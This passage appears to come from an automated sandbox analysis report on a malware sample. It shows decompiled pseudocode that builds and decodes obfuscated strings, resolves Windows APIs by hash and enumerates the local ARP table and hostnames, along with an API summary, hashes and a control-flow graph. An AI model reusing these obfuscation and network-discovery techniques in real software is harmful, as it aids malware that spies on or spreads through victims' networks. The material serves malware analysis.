						_v678 = 4;
						_v677 = 0x78;
						_v676 = 4;
						_v675 = 0x6d;
						_v674 = 4;
						_v673 = 0x2f;
						_v672 = 4;
						_v671 = 0x18;
						_v670 = 4;
						_v669 = 0x6d;
						_v668 = 4;
						_v667 = 0x77;
						_v666 = 4;
						_v665 = 0x2c;
						_v664 = 4;
						_v663 = 0xa;
						_v662 = 4;
						_v661 = 0x77;
						_v660 = 4;
						_v659 = 0x4e;
						_v658 = 4;
						_v657 = 0xa;
						_v656 = 4;
						_v655 = 0x6a;
						_v654 = 4;
						_v653 = 0x59;
						_v652 = 4;
						_v651 = 0x1b;
						_v650 = 4;
						_v649 = 0x6d;
						_v648 = 4;
						_v647 = 0x18;
						_v646 = 4;
						_v645 = 0x2c;
						_v644 = 4;
						_v643 = 0xa;
						_v642 = 4;
						_v641 = 0x3a;
						_v640 = 4;
						_v639 = 0x77;
						_v638 = 4;
						_v637 = 0x59;
						_v636 = 4;
						_v635 = 0xa;
						_v634 = 4;
						_v633 = 0x78;
						_v632 = 4;
						_v631 = 0x18;
						_v630 = 4;
						_v629 = 0x52;
						_v628 = 4;
						_v627 = 4;
						_v626 = 4;
						_push(E00F34430( &_v692));
						E00F2FDD0(_t357, _t393, _t395);
					}
				} else {
					_v496 = _t306;
					_v495 = 0x6f;
					_v494 = 9;
					_v493 = 0x3c;
					_v492 = 9;
					_v491 = 0x4c;
					_v490 = 9;
					_v489 = 0x39;
					_v488 = 9;
					_v487 = 0xf;
					_v486 = 9;
					_v485 = 0x6b;
					_v484 = 9;
					_v483 = 0x7e;
					_v482 = 9;
					_v481 = 0x68;
					_v480 = 9;
					_v479 = 0xf;
					_v478 = 9;
					_v477 = 0x6b;
					_v476 = 9;
					_v475 = 0x6f;
					_v474 = 9;
					_v473 = 0x57;
					_v472 = 9;
					_v471 = 0x4c;
					_v470 = 9;
					_v469 = 0x4c;
					_v468 = 9;
					_v467 = 0x68;
					_v466 = 9;
					_v465 = 0x52;
					_v464 = 9;
					_v463 = 0xf;
					_v462 = 9;
					_v461 = 6;
					_v460 = 9;
					_v459 = 0x3b;
					_v458 = 9;
					_v457 = 7;
					_v456 = 9;
					_v455 = 9;
					_v454 = 9;
					_push(E00F34490( &_v496));
					E00F2FDD0(_t357, _t393, _t395);
				}
				_t318 =  *0xf4c2ec; // 0xddcc10
				_t319 =  *((intOrPtr*)(_t318 + 0xac));
				if(_t319 == 0) {
					_t319 = E00F222A0(_t357, 0, 0, _t393, _t395, 0xf4241d9a);
					_t378 =  *0xf4c2ec; // 0xddcc10
					 *((intOrPtr*)(_t378 + 0xac)) = _t319;
				}
				 *_t319(0xf4c348);
				_t358 =  *0xf4c300; // 0x364
				if(_t358 != 0) {
					_t331 =  *0xf4c2ec; // 0xddcc10
					_t332 =  *((intOrPtr*)(_t331 + 0x48));
					if(_t332 == 0) {
						_t332 = E00F222A0(_t358, 0, 0, _t393, _t395, 0xa5eb6e47);
						_t376 =  *0xf4c2ec; // 0xddcc10
						 *((intOrPtr*)(_t376 + 0x48)) = _t332;
					}
					 *_t332(_t358);
				}
				if(_t393 != 0) {
					_t328 =  *0xf4c2ec; // 0xddcc10
					_t329 =  *((intOrPtr*)(_t328 + 0x48));
					if(_t329 == 0) {
						_t329 = E00F222A0(_t358, 0, 0, _t393, _t395, 0xa5eb6e47);
						_t374 =  *0xf4c2ec; // 0xddcc10
						 *((intOrPtr*)(_t374 + 0x48)) = _t329;
					}
					 *_t329(_t393);
				}
				if(_t395 != 0) {
					_t325 =  *0xf4c2ec; // 0xddcc10
					_t326 =  *((intOrPtr*)(_t325 + 0x48));
					if(_t326 == 0) {
						_t326 = E00F222A0(_t358, 0, 0, _t393, _t395, 0xa5eb6e47);
						_t372 =  *0xf4c2ec; // 0xddcc10
						 *((intOrPtr*)(_t372 + 0x48)) = _t326;
					}
					 *_t326(_t395);
				}
				_t321 =  *0xf4c2ec; // 0xddcc10
				_t322 =  *((intOrPtr*)(_t321 + 0x15c));
				if(_t322 == 0) {
					_t322 = E00F222A0(_t358, 0, _t322 + 6, _t393, _t395, 0x9812c1b7);
					_t370 =  *0xf4c2ec; // 0xddcc10
					 *((intOrPtr*)(_t370 + 0x15c)) = _t322;
				}
				 *_t322(); // executed
				return E00F37A82(_v8 ^ _t396);
			}



















































































































































































































































































































    0x00f338b0
    0x00f338b9
    0x00f338c0
    0x00f338c3
    0x00f338cb
    0x00f338d1
    0x00f338d3
    0x00f338d5
    0x00f338dd
    0x00f338e4
    0x00f338e4
    0x00f338ec
    0x00f338ee
    0x00f338f3
    0x00f338f3
    0x00f33905
    0x00f33907
    0x00f3390c
    0x00f33914
    0x00f3391b
    0x00f33922
    0x00f33924
    0x00f33929
    0x00f33929
    0x00f33934
    0x00f33936
    0x00f3393d
    0x00f33a8e
    0x00f33a93
    0x00f33a98
    0x00f33aa0
    0x00f33aa7
    0x00f33aae
    0x00f33ab0
    0x00f33ab5
    0x00f33ab5
    0x00f33ac3
    0x00f33ac5
    0x00f33acc
    0x00f33cca
    0x00f33cd0
    0x00f33cda
    0x00f33ce0
    0x00f33cea
    0x00f33cf0
    0x00f33cfa
    0x00f33d01
    0x00f33e36
    0x00f33e3b
    0x00f33e40
    0x00f33e47
    0x00f33e4e
    0x00f33e50
    0x00f33e55
    0x00f33e55
    0x00f33e67
    0x00f33e69
    0x00f33e6e
    0x00f34010
    0x00f34015
    0x00f3401a
    0x00f341f5
    0x00f341f8
    0x00f34202
    0x00f3420a
    0x00f34214
    0x00f34020
    0x00f34020
    0x00f3402d
    0x00f34034
    0x00f3403b
    0x00f34042
    0x00f34049
    0x00f34050
    0x00f34057
    0x00f3405e
    0x00f34065
    0x00f3406c
    0x00f34073
    0x00f3407a
    0x00f34081
    0x00f34088
    0x00f3408f
    0x00f34096
    0x00f3409d
    0x00f340a4
    0x00f340ab
    0x00f340b2
    0x00f340b9
    0x00f340c0
    0x00f340c7
    0x00f340ce
    0x00f340d5
    0x00f340dc
    0x00f340e3
    0x00f340ea
    0x00f340f1
    0x00f340f8
    0x00f340ff
    0x00f34106
    0x00f3410d
    0x00f34114
    0x00f3411b
    0x00f34122
    0x00f34129
    0x00f34130
    0x00f34137
    0x00f3413e
    0x00f34145
    0x00f3414c
    0x00f34153
    0x00f3415a
    0x00f34161
    0x00f34168
    0x00f3416f
    0x00f34176
    0x00f3417d
    0x00f34184
    0x00f3418b
    0x00f34192
    0x00f34199
    0x00f341a0
    0x00f341a7
    0x00f341ae
    0x00f341b5
    0x00f341bc
    0x00f341c3
    0x00f341ca
    0x00f341d1
    0x00f341d8
    0x00f341ea
    0x00f341eb
    0x00f341f0
    0x00f33e74
    0x00f33e74
    0x00f33e81
    0x00f33e88
    0x00f33e8f
    0x00f33e96
    0x00f33e9d
    0x00f33ea4
    0x00f33eab
    0x00f33eb2
    0x00f33eb9
    0x00f33ec0
    0x00f33ec7
    0x00f33ece
    0x00f33ed5
    0x00f33edc
    0x00f33ee3
    0x00f33eea
    0x00f33ef1
    0x00f33ef8
    0x00f33eff
    0x00f33f06
    0x00f33f0d
    0x00f33f14
    0x00f33f1b
    0x00f33f22
    0x00f33f29
    0x00f33f30
    0x00f33f37
    0x00f33f3e
    0x00f33f45
    0x00f33f4c
    0x00f33f53
    0x00f33f5a
    0x00f33f61
    0x00f33f68
    0x00f33f6f
    0x00f33f76
    0x00f33f7d
    0x00f33f84
    0x00f33f8b
    0x00f33f92
    0x00f33f99
    0x00f33fa0
    0x00f33fa7
    0x00f33fae
    0x00f33fb5
    0x00f33fbc
    0x00f33fc3
    0x00f33fca
    0x00f33fd1
    0x00f33fd8
    0x00f33fdf
    0x00f33fe6
    0x00f33ff8
    0x00f33ff9
    0x00f33ffe
    0x00f33d07
    0x00f33d07
    0x00f33d13
    0x00f33d1a
    0x00f33d21
    0x00f33d28
    0x00f33d2f
    0x00f33d36
    0x00f33d3d
    0x00f33d44
    0x00f33d4b
    0x00f33d52
    0x00f33d59
    0x00f33d60
    0x00f33d67
    0x00f33d6e
    0x00f33d75
    0x00f33d7c
    0x00f33d83
    0x00f33d8a
    0x00f33d91
    0x00f33d98
    0x00f33d9f
    0x00f33da6
    0x00f33dad
    0x00f33db4
    0x00f33dbb
    0x00f33dc2
    0x00f33dc9
    0x00f33dd0
    0x00f33dd7
    0x00f33dde
    0x00f33de5
    0x00f33dec
    0x00f33df3
    0x00f33dfa
    0x00f33e01
    0x00f33e08
    0x00f33e0f
    0x00f33e16
    0x00f33e28
    0x00f33e29
    0x00f33e2e
    0x00f33ad2
    0x00f33ad2
    0x00f33ade
    0x00f33ae5
    0x00f33aec
    0x00f33af3
    0x00f33afa
    0x00f33b01
    0x00f33b08
    0x00f33b0f
    0x00f33b16
    0x00f33b1d
    0x00f33b24
    0x00f33b2b
    0x00f33b32
    0x00f33b39
    0x00f33b40
    0x00f33b47
    0x00f33b4e
    0x00f33b55
    0x00f33b5c
    0x00f33b63
    0x00f33b6a
    0x00f33b71
    0x00f33b78
    0x00f33b7f
    0x00f33b86
    0x00f33b8d
    0x00f33b94
    0x00f33b9b
    0x00f33ba2
    0x00f33ba9
    0x00f33bb0
    0x00f33bb7
    0x00f33bbe
    0x00f33bc5
    0x00f33bcc
    0x00f33bd3
    0x00f33bda
    0x00f33be1
    0x00f33be8
    0x00f33bef
    0x00f33bf6
    0x00f33bfd
    0x00f33c04
    0x00f33c0b
    0x00f33c12
    0x00f33c19
    0x00f33c20
    0x00f33c27
    0x00f33c2e
    0x00f33c35
    0x00f33c3c
    0x00f33c43
    0x00f33c4a
    0x00f33c51
    0x00f33c58
    0x00f33c5f
    0x00f33c66
    0x00f33c6d
    0x00f33c74
    0x00f33c7b
    0x00f33c82
    0x00f33c89
    0x00f33c90
    0x00f33c97
    0x00f33c9e
    0x00f33ca5
    0x00f33cb7
    0x00f33cb8
    0x00f33cbd
    0x00f33943
    0x00f33943
    0x00f3394f
    0x00f33956
    0x00f3395d
    0x00f33964
    0x00f3396b
    0x00f33972
    0x00f33979
    0x00f33980
    0x00f33987
    0x00f3398e
    0x00f33995
    0x00f3399c
    0x00f339a3
    0x00f339aa
    0x00f339b1
    0x00f339b8
    0x00f339bf
    0x00f339c6
    0x00f339cd
    0x00f339d4
    0x00f339db
    0x00f339e2
    0x00f339e9
    0x00f339f0
    0x00f339f7
    0x00f339fe
    0x00f33a05
    0x00f33a0c
    0x00f33a13
    0x00f33a1a
    0x00f33a21
    0x00f33a28
    0x00f33a2f
    0x00f33a36
    0x00f33a3d
    0x00f33a44
    0x00f33a4b
    0x00f33a52
    0x00f33a59
    0x00f33a60
    0x00f33a67
    0x00f33a6e
    0x00f33a80
    0x00f33a81
    0x00f33a86
    0x00f34219
    0x00f3421e
    0x00f34226
    0x00f34231
    0x00f34236
    0x00f3423c
    0x00f3423c
    0x00f34247
    0x00f34249
    0x00f34251
    0x00f34253
    0x00f34258
    0x00f3425d
    0x00f34268
    0x00f3426d
    0x00f34273
    0x00f34273
    0x00f34277
    0x00f34277
    0x00f3427b
    0x00f3427d
    0x00f34282
    0x00f34287
    0x00f34292
    0x00f34297
    0x00f3429d
    0x00f3429d
    0x00f342a1
    0x00f342a1
    0x00f342a5
    0x00f342a7
    0x00f342ac
    0x00f342b1
    0x00f342bc
    0x00f342c1
    0x00f342c7
    0x00f342c7
    0x00f342cb
    0x00f342cb
    0x00f342cd
    0x00f342d2
    0x00f342da
    0x00f342e6
    0x00f342eb
    0x00f342f1
    0x00f342f1
    0x00f342f7
    0x00f34309

    APIs
    • WSAStartup.WS2_32(00000202,?,?,?,00000000), ref: 00F33905
      • Part of subcall function 00F31BD0: gethostname.WS2_32(?,00000100), ref: 00F31C19
      • Part of subcall function 00F31BD0: gethostbyname.WS2_32(?), ref: 00F31C51
      • Part of subcall function 00F31D80: GetIpNetTable.IPHLPAPI(00000000,00000000,00000000,00000000,00000000,00000000), ref: 00F31DD5
    • CreateThread.KERNELBASE(00000000,00000000,Function_00012A30,00000000,00000000,00000000,?,?,00000000), ref: 00F33E67
      • Part of subcall function 00F2FDD0: GetLocalTime.KERNEL32(?), ref: 00F2FED3
    Strings
    Memory Dump Source
    • Source File: 00000001.00000002.524978448.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true
    • Associated: 00000001.00000002.524970027.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525043979.0000000000F44000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525065584.0000000000F4A000.00000004.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525078038.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_1_2_f20000_ll.jbxd
    Similarity
    • API ID: CreateLocalStartupTableThreadTimegethostbynamegethostname
    • String ID: "$#$#$%$&$&$&$&$&$,$,$-$-$/$/$/$/$/$1$7$9$:$:$:$:$;$<$?$@$@$E$E$E$E$E$E$E$E$E$E$E$E$E$E$E$E$E$E$E$E$E$F$G$G$G$G$H$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$I$L$L$L$L$N$N$R$R$W$Y$Y$Z$]$]$]$e$h$h$i$i$i$j$j$j$j$k$k$m$m$m$m$m$m$m$o$o$s$w$w$w$w$x$x$x$x$x$x$x$x$x$x$x$x$x$x$x$x$x$x$x$x$x$x$z${${x:x3xcx&x]x`x$~
    • API String ID: 623497323-2264535028
    • Opcode ID: feb444f2c256ae27429364bb7b857b69f795b3420d51678ca7d9c0659fa1eb4e
    • Instruction ID: 1d045c133f54edc350b68950cdeeb366d07c65b7aff7c4b3861fd4f3e1c1c446
    • Opcode Fuzzy Hash: feb444f2c256ae27429364bb7b857b69f795b3420d51678ca7d9c0659fa1eb4e
    • Instruction Fuzzy Hash: 5F52CA6094D2E8CDEB62C7699C4C7D97EA15B22308F0440D9D58C7A283C7BE5F88DB66
    Uniqueness

    Uniqueness Score: -1.00%

    Function 00F31D80 Relevance: 270.0, APIs: 5, Strings: 149, Instructions: 490COMMONCrypto
    Download Yara Rule

    Control-flow Graph

    • Executed
    • Not Executed
    control_flow_graph 438 f31d80-f31db0 439 f31db2-f31dc7 call f222a0 438->439 440 f31dcd-f31ddc GetIpNetTable 438->440 439->440 441 f31de2-f31dec 440->441 442 f32039-f3204c call f39867 440->442 445 f31e05-f32023 call f345f0 call f2fdd0 441->445 446 f31dee-f31e02 call f222a0 441->446 450 f32026-f32038 call f37a82 442->450 451 f3204e-f32068 call f39000 442->451 445->450 446->445 460 f32085-f32090 GetIpNetTable 451->460 461 f3206a-f3207f call f222a0 451->461 464 f32326-f32333 460->464 465 f32096-f320a0 460->465 461->460 468 f325d4-f325f2 call f39872 call f37a82 464->468 469 f32339-f32341 464->469 470 f320a2-f320b6 call f222a0 465->470 471 f320b9-f32325 call f345b0 call f2fdd0 call f39872 call f37a82 465->471 472 f32347-f3234f 469->472 470->471 475 f32354-f3235d 472->475 475->475 480 f3235f-f3238d inet_ntoa WSAGetLastError 475->480 483 f323b5-f323c2 480->483 484 f3238f 480->484 486 f323c4-f323d9 call f222a0 483->486 487 f323df-f3241a StrStrIA call f34550 483->487 489 f32391-f323b3 484->489 486->487 495 f3241f-f3242f 487->495 489->483 489->489 497 f32431-f32446 call f222a0 495->497 498 f3244c-f32471 495->498 497->498 504 f32473 498->504 505 f32495-f324a2 498->505 506 f32475-f32493 504->506 507 f324a4-f324b9 call f222a0 505->507 508 f324bf-f324fb call f344f0 505->508 506->505 506->506 507->508 514 f32518-f32522 508->514 515 f324fd-f32512 call f222a0 508->515 519 f32534-f3253e 514->519 520 f32524-f3252a 514->520 515->514 521 f32540-f32549 519->521 522 f3255b-f32573 call f39867 519->522 520->519 523 f3252c-f3252e 520->523 524 f32554-f32559 521->524 525 f3254b-f32552 521->525 530 f32575-f3259c 522->530 531 f325ce 522->531 523->519 527 f32530-f32532 523->527 524->521 524->522 525->524 528 f3259f-f325c8 525->528 527->519 527->528 528->472 528->531 530->528 531->468
    C-Code - Quality: 54%
    			E00F31D80(void* __ebx, signed short** __ecx, void* __edi, void* __esi) {
				signed int _v8;
				char _v52;
				char _v56;
				char _v61;
				char _v64;
				signed short _v68;
				char _v72;
				char _v73;
				char _v74;
				char _v75;
				char _v76;
				char _v79;
				char _v80;
				char _v81;
				char _v82;
				char _v83;
				char _v84;
				char _v87;
				char _v88;
				char _v89;
				char _v90;
				char _v91;
				char _v92;
				char _v95;
				char _v96;
				char _v97;
				char _v98;
				char _v99;
				char _v100;
				char _v101;
				char _v102;
				char _v103;
				char _v104;
				char _v116;
				char _v117;
				char _v118;
				char _v119;
				char _v120;
				char _v121;
				char _v122;
				char _v123;
				char _v124;
				char _v125;
				char _v126;
				char _v127;
				char _v128;
				char _v129;
				char _v130;
				char _v131;
				char _v132;
				char _v133;
				char _v134;
				char _v135;
				char _v136;
				char _v137;
				char _v138;
				char _v139;
				char _v140;
				char _v141;
				char _v142;
				char _v143;
				char _v144;
				char _v145;
				char _v146;
				char _v147;
				char _v148;
				char _v149;
				char _v150;
				char _v151;
				char _v152;
				char _v153;
				char _v154;
				char _v155;
				char _v156;
				char _v157;
				char _v158;
				char _v159;
				char _v160;
				char _v161;
				char _v162;
				char _v163;
				char _v164;
				char _v165;
				char _v166;
				char _v167;
				char _v168;
				char _v169;
				char _v170;
				char _v171;
				char _v172;
				char _v173;
				char _v174;
				char _v175;
				char _v176;
				char _v177;
				char _v178;
				char _v179;
				char _v180;
				char _v181;
				char _v182;
				char _v183;
				char _v184;
				char _v185;
				char _v186;
				char _v187;
				char _v188;
				char _v189;
				char _v190;
				char _v191;
				char _v192;
				char _v193;
				char _v194;
				char _v195;
				char _v196;
				char _v204;
				char _v205;
				char _v206;
				char _v207;
				char _v208;
				char _v209;
				char _v210;
				char _v211;
				char _v212;
				char _v213;
				char _v214;
				char _v215;
				char _v216;
				char _v217;
				char _v218;
				char _v219;
				char _v220;
				char _v221;
				char _v222;
				char _v223;
				char _v224;
				char _v225;
				char _v226;
				char _v227;
				char _v228;
				char _v229;
				char _v230;
				char _v231;
				char _v232;
				char _v233;
				char _v234;
				char _v235;
				char _v236;
				char _v237;
				char _v238;
				char _v239;
				char _v240;
				char _v241;
				char _v242;
				char _v243;
				char _v244;
				char _v245;
				char _v246;
				char _v247;
				char _v248;
				char _v249;
				char _v250;
				char _v251;
				char _v252;
				char _v253;
				char _v254;
				char _v255;
				char _v256;
				char _v257;
				char _v258;
				char _v259;
				char _v260;
				char _v261;
				char _v262;
				char _v263;
				char _v264;
				char _v265;
				char _v266;
				char _v267;
				char _v268;
				char _v269;
				char _v270;
				char _v271;
				char _v272;
				char _v273;
				char _v274;
				char _v275;
				char _v276;
				char _v277;
				char _v278;
				char _v279;
				char _v280;
				char _v281;
				char _v282;
				char _v283;
				char _v284;
				signed short _v288;
				intOrPtr* _v292;
				intOrPtr* _v296;
				char* _v300;
				intOrPtr _v304;
				signed short** _v308;
				signed int _t293;
				signed int _t295;
				intOrPtr* _t296;
				intOrPtr* _t302;
				void* _t303;
				char* _t307;
				signed int _t308;
				char* _t310;
				void* _t312;
				intOrPtr* _t313;
				intOrPtr _t314;
				signed int _t315;
				intOrPtr* _t316;
				signed short _t317;
				void* _t318;
				intOrPtr* _t319;
				void* _t320;
				signed short* _t321;
				intOrPtr _t334;
				signed int _t341;
				intOrPtr* _t342;
				void* _t343;
				signed int _t350;
				intOrPtr* _t351;
				void* _t352;
				intOrPtr* _t357;
				signed int _t358;
				void* _t359;
				signed short _t361;
				signed int _t366;
				intOrPtr* _t370;
				void* _t371;
				signed int _t375;
				signed short* _t382;
				signed int _t386;
				void* _t387;
				signed int _t389;
				signed int _t391;
				signed int _t398;
				signed int _t400;
				signed int _t403;
				signed int _t405;
				char _t406;
				signed short _t407;
				intOrPtr* _t408;
				char* _t422;
				signed short** _t423;
				signed short _t425;
				void* _t426;
				void* _t427;
				signed int _t428;
				void* _t429;
				void* _t430;
				void* _t431;

				_t421 = __edi;
				_t356 = __ebx;
				_t293 =  *0xf4a004; // 0x355216d4
				_v8 = _t293 ^ _t428;
				_t295 =  *0xf4c2ec; // 0xddcc10
				_t296 =  *((intOrPtr*)(_t295 + 0xf0));
				_v308 = __ecx;
				_v68 = 0;
				if(_t296 == 0) {
					_t296 = E00F222A0(__ebx, 0, _t296 + 3, __edi, __esi, 0xbf983c41);
					_t405 =  *0xf4c2ec; // 0xddcc10
					 *((intOrPtr*)(_t405 + 0xf0)) = _t296;
				}
				 *_t296(0,  &_v68, 0); // executed
				_t425 = _v68;
				if(_t425 != 0) {
					_push(_t425);
					_t357 = E00F39867( &_v68);
					_t430 = _t429 + 4;
					_v296 = _t357;
					if(_t357 == 0) {
						goto L6;
					} else {
						E00F39000(_t421, _t357, 0, _t425);
						_t366 =  *0xf4c2ec; // 0xddcc10
						_t431 = _t430 + 0xc;
						_t302 =  *((intOrPtr*)(_t366 + 0xf0));
						if(_t302 == 0) {
							_t302 = E00F222A0(_t357, 0, _t302 + 3, _t421, _t425, 0xbf983c41);
							_t400 =  *0xf4c2ec; // 0xddcc10
							 *((intOrPtr*)(_t400 + 0xf0)) = _t302;
						}
						_t303 =  *_t302(_t357,  &_v68, 0); // executed
						if(_t303 == 0) {
							_v288 = 0;
							if( *_t357 > 0) {
								_t187 = _t357 + 0x14; // 0x14
								_t370 = _t187;
								_t358 = 0x7f;
								_v292 = _t370;
								do {
									_t406 =  *_t370;
									_t307 =  &_v52;
									_v56 = _t406;
									_t371 = 0x2c;
									do {
										 *_t307 = 0;
										_t307 =  &(_t307[1]);
										_t371 = _t371 - 1;
									} while (_t371 != 0);
									__imp__#12(_t406);
									_t422 = _t307;
									__imp__#111();
									_v84 = 0;
									_v83 = 0x4a;
									_v82 = 0x5c;
									_v81 = 0x4d;
									_v80 = 0x41;
									_v79 = 0x36;
									if(_v84 == 0) {
										_t427 = 0;
										do {
											_t201 = _t427 - 0x4f; // 0x4a
											asm("cdq");
											asm("cdq");
											 *((char*)(_t428 + _t427 - 0x4f)) = ((0x36 - ( *(_t428 + _t201) & 0x000000ff)) * 0x2a % _t358 + 0x7f) % _t358;
											_t427 = _t427 + 1;
										} while (_t427 < 5);
									}
									_t308 =  *0xf4c2ec; // 0xddcc10
									_t309 =  *((intOrPtr*)(_t308 + 0x124));
									if( *((intOrPtr*)(_t308 + 0x124)) == 0) {
										_t334 = E00F222A0(_t358, 0, _t309 + 7, _t422, _t425, 0x6877b7f6);
										_t391 =  *0xf4c2ec; // 0xddcc10
										 *((intOrPtr*)(_t391 + 0x124)) = _t334;
									}
									_t216 =  &_v83; // 0x4a
									_t310 = StrStrIA(_t422, _t216); // executed
									_v104 = 0;
									_v103 = 0x14;
									_v102 = 0x24;
									_v101 = 0x16;
									_v100 = 0xe;
									_v99 = 0x14;
									_v98 = 0x1e;
									_v97 = 0x22;
									_v96 = 0xe;
									_v300 = _t310;
									_v95 = 0x31;
									_t312 = E00F34550( &_v104);
									_t375 =  *0xf4c2ec; // 0xddcc10
									_t426 = _t312;
									_t313 =  *((intOrPtr*)(_t375 + 0x124));
									if(_t313 == 0) {
										_t313 = E00F222A0(_t358, 0, _t313 + 7, _t422, _t426, 0x6877b7f6);
										_t389 =  *0xf4c2ec; // 0xddcc10
										 *((intOrPtr*)(_t389 + 0x124)) = _t313;
									}
									_t314 =  *_t313(_t422, _t426);
									_v76 = 0;
									_v75 = 0x17;
									_v74 = 0x2b;
									_v73 = 0x53;
									_v72 = 0x72;
									_v304 = _t314;
									if(_v76 == 0) {
										_t387 = 0;
										do {
											asm("cdq");
											asm("cdq");
											 *(_t428 + _t387 - 0x47) = ((( *(_t428 + _t387 - 0x47) & 0x000000ff) - 0x72) * 0x13 % _t358 + 0x7f) % _t358;
											_t387 = _t387 + 1;
										} while (_t387 < 4);
									}
									_t315 =  *0xf4c2ec; // 0xddcc10
									_t316 =  *((intOrPtr*)(_t315 + 0x124));
									if(_t316 == 0) {
										_t316 = E00F222A0(_t358, 0, _t316 + 7, _t422, _t426, 0x6877b7f6);
										_t386 =  *0xf4c2ec; // 0xddcc10
										 *((intOrPtr*)(_t386 + 0x124)) = _t316;
									}
									_t317 =  *_t316(_t422,  &_v75);
									_v92 = 0;
									_t425 = _t317;
									_v91 = 9;
									_v90 = 0x32;
									_v89 = 0x64;
									_v88 = 0x56;
									_v87 = 0x27;
									_t318 = E00F344F0( &_v92);
									_t380 =  *0xf4c2ec; // 0xddcc10
									_t359 = _t318;
									_t319 =  *((intOrPtr*)(_t380 + 0x124));
									if(_t319 == 0) {
										_t319 = E00F222A0(_t359, 0, _t319 + 7, _t422, _t425, 0x6877b7f6);
										_t380 =  *0xf4c2ec; // 0xddcc10
										 *((intOrPtr*)(_t380 + 0x124)) = _t319;
									}
									_t320 =  *_t319(_t422, _t359);
									if(_v300 == _t422 || _v304 == _t422 || _t425 == _t422 || _t320 == _t422) {
										_t423 = _v308;
										_t321 =  *_t423;
										if(_t321 == 0) {
											L40:
											_v64 = _v56;
											_push(0xc);
											_v61 = 0;
											_t407 = E00F39867(_t380);
											_t431 = _t431 + 4;
											if(_t407 != 0) {
												asm("xorps xmm0, xmm0");
												asm("movq [edx], xmm0");
												 *(_t407 + 8) = 0;
												 *_t407 = _v64;
												_t281 = _t407 + 4; // 0x4
												_t382 = _t281;
												 *_t382 = 0;
												 *(_t407 + 8) = _t423[1];
												 *(_t423[1]) = _t407;
												_t423[1] = _t382;
												goto L42;
											}
										} else {
											do {
												_t380 =  *_t321 & 0x0000ffff;
												_t408 =  &_v56;
												if(( *_t321 & 0x0000ffff) !=  *_t408) {
													goto L39;
												} else {
													_t380 = _t321[1] & 0x000000ff;
													if((_t321[1] & 0x000000ff) ==  *((intOrPtr*)(_t408 + 2))) {
														goto L42;
													} else {
														goto L39;
													}
												}
												goto L43;
												L39:
												_t321 = _t321[2];
											} while (_t321 != 0);
											goto L40;
										}
									} else {
										goto L42;
									}
									break;
									L42:
									_t361 = _v288 + 1;
									_t370 = _v292 + 0x18;
									_v288 = _t361;
									_v292 = _t370;
									_t358 = 0x7f;
								} while (_t361 <  *_v296);
								L43:
								_t357 = _v296;
							}
							E00F39872(_t357);
							return E00F37A82(_v8 ^ _t428);
						} else {
							_t341 =  *0xf4c2ec; // 0xddcc10
							_t342 =  *((intOrPtr*)(_t341 + 0x40));
							if(_t342 == 0) {
								_t342 = E00F222A0(_t357, 0, 0, _t421, _t425, 0x1fbbb84f);
								_t398 =  *0xf4c2ec; // 0xddcc10
								 *((intOrPtr*)(_t398 + 0x40)) = _t342;
							}
							_t343 =  *_t342();
							_v284 = 0;
							_v283 = 0x74;
							_v282 = 0x57;
							_v281 = 0x69;
							_v280 = 0x57;
							_v279 = 0x24;
							_v278 = 0x57;
							_v277 = 0x38;
							_v276 = 0x57;
							_v275 = 0x1d;
							_v274 = 0x57;
							_v273 = 0x21;
							_v272 = 0x57;
							_v271 = 0x69;
							_v270 = 0x57;
							_v269 = 0x24;
							_v268 = 0x57;
							_v267 = 0x6b;
							_v266 = 0x57;
							_v265 = 0x62;
							_v264 = 0x57;
							_v263 = 0x44;
							_v262 = 0x57;
							_v261 = 0x16;
							_v260 = 0x57;
							_v259 = 0x69;
							_v258 = 0x57;
							_v257 = 0x10;
							_v256 = 0x57;
							_v255 = 0x4b;
							_v254 = 0x57;
							_v253 = 0x62;
							_v252 = 0x57;
							_v251 = 0x70;
							_v250 = 0x57;
							_v249 = 0x16;
							_v248 = 0x57;
							_v247 = 0x42;
							_v246 = 0x57;
							_v245 = 0x68;
							_v244 = 0x57;
							_v243 = 0x10;
							_v242 = 0x57;
							_v241 = 0x74;
							_v240 = 0x57;
							_v239 = 0x69;
							_v238 = 0x57;
							_v237 = 0x24;
							_v236 = 0x57;
							_v235 = 0x5d;
							_v234 = 0x57;
							_v233 = 0x62;
							_v232 = 0x57;
							_v231 = 0x42;
							_v230 = 0x57;
							_v229 = 0x24;
							_v228 = 0x57;
							_v227 = 0x31;
							_v226 = 0x57;
							_v225 = 0x60;
							_v224 = 0x57;
							_v223 = 0x60;
							_v222 = 0x57;
							_v221 = 0x3b;
							_v220 = 0x57;
							_v219 = 0x60;
							_v218 = 0x57;
							_v217 = 0x10;
							_v216 = 0x57;
							_v215 = 0x23;
							_v214 = 0x57;
							_v213 = 0x10;
							_v212 = 0x57;
							_v211 = 0x78;
							_v210 = 0x57;
							_v209 = 0x16;
							_v208 = 0x57;
							_v207 = 6;
							_v206 = 0x57;
							_v205 = 0x57;
							_v204 = 0x57;
							E00F2FDD0(_t357, _t421, _t425, E00F345B0( &_v284), _t343);
							E00F39872(_t357);
							return E00F37A82(_v8 ^ _t428);
						}
					}
				} else {
					_t350 =  *0xf4c2ec; // 0xddcc10
					_t351 =  *((intOrPtr*)(_t350 + 0x40));
					if(_t351 == 0) {
						_t351 = E00F222A0(_t356, 0, 0, _t421, _t425, 0x1fbbb84f);
						_t403 =  *0xf4c2ec; // 0xddcc10
						 *((intOrPtr*)(_t403 + 0x40)) = _t351;
					}
					_t352 =  *_t351();
					_v196 = 0;
					_v195 = 0x3b;
					_v194 = 0x6a;
					_v193 = 0x7d;
					_v192 = 0x6a;
					_v191 = 0x1f;
					_v190 = 0x6a;
					_v189 = 0x26;
					_v188 = 0x6a;
					_v187 = 0x49;
					_v186 = 0x6a;
					_v185 = 0x31;
					_v184 = 0x6a;
					_v183 = 0x7d;
					_v182 = 0x6a;
					_v181 = 0x1f;
					_v180 = 0x6a;
					_v179 = 0x71;
					_v178 = 0x6a;
					_v177 = 0x28;
					_v176 = 0x6a;
					_v175 = 0x5d;
